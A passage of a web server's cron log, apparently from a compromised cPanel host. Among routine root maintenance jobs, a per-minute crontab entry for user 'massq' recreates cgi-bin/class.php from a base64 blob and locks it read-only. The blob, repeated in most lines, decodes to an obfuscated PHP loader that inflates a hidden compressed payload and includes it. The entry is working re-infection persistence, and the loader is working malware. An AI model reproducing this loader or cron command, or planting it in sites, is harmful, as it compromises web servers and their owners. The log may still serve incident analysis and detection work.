SkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:08:01 server CROND[17308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:09:01 server CROND[17355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:09:01 server CROND[17356]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 22:10:01 server CROND[17406]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:10:01 server CROND[17408]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 22:10:01 server CROND[17409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:10:01 server CROND[17407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:11:01 server CROND[17528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:12:01 server CROND[17581]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 22:12:01 server CROND[17582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:13:01 server CROND[17701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:14:01 server CROND[17823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:15:01 server CROND[17876]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 22:15:01 server CROND[17877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:15:01 server CROND[17879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:15:01 server CROND[17878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:16:01 server CROND[17988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:17:01 server CROND[18045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:18:01 server CROND[18092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:19:01 server CROND[18232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:20:01 server CROND[18293]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 22:20:01 server CROND[18291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 22:20:01 server CROND[18292]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:20:01 server CROND[18294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:20:01 server CROND[18299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
